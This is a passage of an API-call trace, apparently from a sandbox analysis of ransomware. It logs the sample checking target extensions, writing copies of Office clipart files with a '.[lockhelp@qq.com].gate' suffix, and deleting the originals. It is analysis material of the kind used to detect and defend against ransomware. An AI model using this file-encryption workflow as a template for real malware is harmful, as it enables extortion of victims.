(lpString1=".pdf", lpString2=".WMF") returned -1 [0321.891] lstrlenW (lpString=".xls") returned 4 [0321.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.892] lstrlenW (lpString=".xlsx") returned 5 [0321.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.892] lstrlenW (lpString=".ppt") returned 4 [0321.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.892] lstrlenW (lpString=".zip") returned 4 [0321.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.892] lstrlenW (lpString=".rar") returned 4 [0321.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString=".bz2") returned 4 [0321.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString=".7z") returned 3 [0321.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.892] lstrlenW (lpString=".dbf") returned 4 [0321.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.892] lstrlenW (lpString=".1cd") returned 4 [0321.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.892] lstrlenW (lpString=".jpg") returned 4 [0321.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.892] lstrlenW (lpString=".doc") returned 4 [0321.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString=".docx") returned 5 [0321.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.892] lstrlenW (lpString=".pdf") returned 4 [0321.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.892] lstrlenW (lpString=".xls") returned 4 [0321.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.892] lstrlenW (lpString=".xlsx") returned 5 [0321.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.893] lstrlenW (lpString=".ppt") returned 4 [0321.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.893] lstrlenW (lpString=".zip") returned 4 [0321.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.893] lstrlenW (lpString=".rar") returned 4 [0321.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.893] lstrlenW (lpString=".bz2") returned 4 [0321.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.893] lstrlenW (lpString=".7z") returned 3 [0321.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.893] lstrlenW (lpString=".dbf") returned 4 [0321.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.893] lstrlenW (lpString=".1cd") returned 4 [0321.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.893] lstrlenW (lpString=".jpg") returned 4 [0321.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.893] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.893] lstrlenW (lpString="BD19828_.WMF") returned 12 [0321.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.893] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=8772) returned 1 [0321.893] CloseHandle (hObject=0x34c) returned 1 [0321.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0321.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.894] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.894] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.894] GetLastError () returned 0x0 [0321.894] ReadFile (hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0) Thread: id = 100 os_tid = 0xc38 [0318.004] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3d40048 [0318.004] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3d50050 [0318.004] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed700 [0318.004] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e58f8 [0318.004] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed958 [0318.004] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3e4c020 [0318.007] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed718 [0318.007] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed718, Size=0x20) returned 0x4e9630 [0318.007] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed970 [0318.007] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed970, Size=0x20) returned 0x4e97e8 [0318.007] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.007] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.007] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff50 | out: OldValue=0x328ff50*=0x0) returned 1 [0318.007] lstrlenW (lpString="kernel32.dll") returned 12 [0318.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0318.007] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.007] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0318.007] Sleep (dwMilliseconds=0x64) [0318.285] Sleep (dwMilliseconds=0x64) [0318.504] Sleep (dwMilliseconds=0x64) [0319.064] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.064] lstrlenW (lpString="AG00037_.GIF") returned 12 [0319.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.065] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6684) returned 1 [0319.065] CloseHandle (hObject=0x380) returned 1 [0319.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0319.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.065] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.065] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0319.066] GetLastError () returned 0x0 [0319.066] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0319.071] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1a20, lpOverlapped=0x0) returned 1 [0319.071] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.071] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.072] SetEndOfFile (hFile=0x384) returned 1 [0319.072] CloseHandle (hObject=0x384) returned 1 [0319.072] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.072] SetEndOfFile (hFile=0x380) returned 1 [0319.073] CloseHandle (hObject=0x380) returned 1 [0319.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0319.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.073] lstrlenW (lpString=".doc") returned 4 [0319.073] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.073] lstrlenW (lpString=".docx") returned 5 [0319.073] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.074] lstrlenW (lpString=".pdf") returned 4 [0319.074] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.074] lstrlenW (lpString=".xls") returned 4 [0319.074] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.074] lstrlenW (lpString=".xlsx") returned 5 [0319.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.074] lstrlenW (lpString=".ppt") returned 4 [0319.074] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.074] lstrlenW (lpString=".zip") returned 4 [0319.074] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.074] lstrlenW (lpString=".rar") returned 4 [0319.074] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.074] lstrlenW (lpString=".bz2") returned 4 [0319.074] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.074] lstrlenW (lpString=".7z") returned 3 [0319.074] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.074] lstrlenW (lpString=".dbf") returned 4 [0319.074] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.074] lstrlenW (lpString=".1cd") returned 4 [0319.074] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.074] lstrlenW (lpString=".jpg") returned 4 [0319.074] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.074] lstrlenW (lpString=".doc") returned 4 [0319.074] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.074] lstrlenW (lpString=".docx") returned 5 [0319.074] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.074] lstrlenW (lpString=".pdf") returned 4 [0319.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.075] lstrlenW (lpString=".xls") returned 4 [0319.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.075] lstrlenW (lpString=".xlsx") returned 5 [0319.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.075] lstrlenW (lpString=".ppt") returned 4 [0319.075] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.075] lstrlenW (lpString=".zip") returned 4 [0319.075] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.075] lstrlenW (lpString=".rar") returned 4 [0319.075] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.075] lstrlenW (lpString=".bz2") returned 4 [0319.075] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.075] lstrlenW (lpString=".7z") returned 3 [0319.075] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.075] lstrlenW (lpString=".dbf") returned 4 [0319.075] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.075] lstrlenW (lpString=".1cd") returned 4 [0319.075] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0319.075] lstrlenW (lpString=".jpg") returned 4 [0319.075] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.075] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.075] lstrlenW (lpString="AG00038_.GIF") returned 12 [0319.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.076] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3251) returned 1 [0319.076] CloseHandle (hObject=0x380) returned 1 [0319.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0319.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.076] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.076] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0319.077] GetLastError () returned 0x0 [0319.077] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0319.078] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0319.079] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.079] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.079] SetEndOfFile (hFile=0x384) returned 1 [0319.079] CloseHandle (hObject=0x384) returned 1 [0319.079] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.079] SetEndOfFile (hFile=0x380) returned 1 [0319.080] CloseHandle (hObject=0x380) returned 1 [0319.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0319.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString=".doc") returned 4 [0319.081] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.081] lstrlenW (lpString=".docx") returned 5 [0319.081] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.081] lstrlenW (lpString=".pdf") returned 4 [0319.081] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.081] lstrlenW (lpString=".xls") returned 4 [0319.081] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.081] lstrlenW (lpString=".xlsx") returned 5 [0319.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.081] lstrlenW (lpString=".ppt") returned 4 [0319.081] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString=".zip") returned 4 [0319.081] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.081] lstrlenW (lpString=".rar") returned 4 [0319.081] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.081] lstrlenW (lpString=".bz2") returned 4 [0319.081] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.081] lstrlenW (lpString=".7z") returned 3 [0319.081] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString=".dbf") returned 4 [0319.081] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString=".1cd") returned 4 [0319.081] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString=".jpg") returned 4 [0319.081] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.081] lstrlenW (lpString=".doc") returned 4 [0319.082] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.082] lstrlenW (lpString=".docx") returned 5 [0319.082] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.082] lstrlenW (lpString=".pdf") returned 4 [0319.082] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.082] lstrlenW (lpString=".xls") returned 4 [0319.082] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.082] lstrlenW (lpString=".xlsx") returned 5 [0319.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.082] lstrlenW (lpString=".ppt") returned 4 [0319.082] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.082] lstrlenW (lpString=".zip") returned 4 [0319.082] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.082] lstrlenW (lpString=".rar") returned 4 [0319.082] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.082] lstrlenW (lpString=".bz2") returned 4 [0319.082] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.082] lstrlenW (lpString=".7z") returned 3 [0319.082] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.082] lstrlenW (lpString=".dbf") returned 4 [0319.082] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.082] lstrlenW (lpString=".1cd") returned 4 [0319.082] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0319.082] lstrlenW (lpString=".jpg") returned 4 [0319.082] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.082] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.083] lstrlenW (lpString="AG00040_.GIF") returned 12 [0319.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.083] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=8097) returned 1 [0319.083] CloseHandle (hObject=0x380) returned 1 [0319.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0319.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 